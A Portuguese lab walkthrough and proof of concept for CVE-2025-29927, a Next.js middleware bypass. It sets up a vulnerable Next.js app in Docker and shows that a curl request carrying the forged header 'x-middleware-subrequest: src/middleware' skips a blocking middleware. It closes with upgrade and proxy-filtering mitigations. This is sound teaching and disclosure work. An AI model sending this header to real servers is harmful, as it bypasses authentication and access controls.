
Uma Prova de Conceito para CVE-2025-29927 demonstrando um bypass de middleware em versões do Next.js anteriores à 13.5.9
O CVE-2025-29927 é uma vulnerabilidade de Bypass de Middleware encontrada nas versões do Next.js 1.11.4 e anteriores às versões 12.3.5, 13.5.9, 14.2.25 e 15.2.3. Ela permite que um atacante externo ignore a lógica de segurança — como autenticação, detecção de bots ou redirecionamentos de geolocalização — que um desenvolvedor implementou em seu arquivo middleware.ts.
O Next.js usa cabeçalhos HTTP internos para se comunicar entre suas diferentes camadas arquiteturais. Um desses cabeçalhos é o x-middleware-subrequest.
A vulnerabilidade existe porque versões vulneráveis do Next.js confiam nesse cabeçalho mesmo quando ele é enviado por um cliente externo (como um navegador ou curl). Quando o servidor vê esse cabeçalho, ele assume que a requisição já foi processada e "liberada" pelo middleware, então ele pula a execução do seu código de segurança por completo.
O laboratório está sendo executado dentro de um contêiner Docker Node:18-alpine para garantir um ambiente limpo e reproduzível
Começamos subindo um contêiner nomeado em segundo plano. Usamos sleep infinity para manter o contêiner ativo durante a configuração.
Eu inicialmente encontrei alguns problemas ao reiniciar meu contêiner nas etapas posteriores, por isso decidi usar sleep infinity
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Instalamos a versão vulnerável específica do Next.js. Observe que, apesar da flag --src-dir false, o framework cria um diretório src, que é onde devemos colocar nosso middleware para que ele fique ativo.
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Para simular uma barreira de segurança, criamos um arquivo middleware.ts. Este middleware está configurado para bloquear todas as requisições recebidas com um status 401 Não Autorizado.
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh
# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Inicie o servidor de desenvolvimento e aguarde o sinal ✓ Ready no console.
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
Abra uma nova janela de terminal (não feche o terminal anterior) em sua máquina host para testar o ambiente usando curl.
Uma requisição padrão, sem cabeçalhos modificados, é corretamente capturada e bloqueada pelo nosso middleware.
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized
Ao injetar o cabeçalho interno x-middleware-subrequest: src/middleware, enganamos o Next.js fazendo-o acreditar que a requisição já foi verificada por um processo interno. O servidor ignora a execução do middleware e concede acesso total.
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
Para proteger seu aplicativo contra o CVE-2025-29927, você deve atualizar o Next.js para a versão corrigida correspondente à sua versão principal (major) atual:
A vulnerabilidade é resolvida nas seguintes versões. Garanta que seu package.json reflita pelo menos estas versões:
# Example for updating to the latest patched version
npm install next@latest
Se uma atualização imediata não for possível, você deve configurar seu Web Application Firewall (WAF) ou Reverse Proxy (por exemplo, Nginx, Cloudflare ou Varnish) para remover ou descartar o cabeçalho x-middleware-subrequest de todas as requisições externas recebidas antes que elas cheguem ao servidor de aplicação Next.js.
Após a atualização, você pode verificar a correção executando novamente o comando de exploração do Passo 5. Um servidor corrigido não concederá mais um 200 OK quando o cabeçalho forjado estiver presente.
Esta vulnerabilidade existe porque o Next.js confia em cabeçalhos do lado do cliente para identificar sub-requisições internas. Para mitigar isso, o Next.js deve ser atualizado para uma versão que valide ou remova adequadamente esses cabeçalhos internos do tráfego externo recebido.